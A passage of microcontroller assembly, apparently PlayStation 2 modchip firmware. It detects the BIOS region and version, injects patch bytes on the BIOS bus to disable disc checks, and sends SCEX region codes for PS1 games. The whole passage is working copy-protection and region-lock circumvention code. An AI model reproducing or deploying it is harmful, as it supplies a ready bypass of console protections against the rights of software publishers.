; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************ ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD sb PSX_FLAG jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)2560.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 ; ? likely some 75k patches? mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov 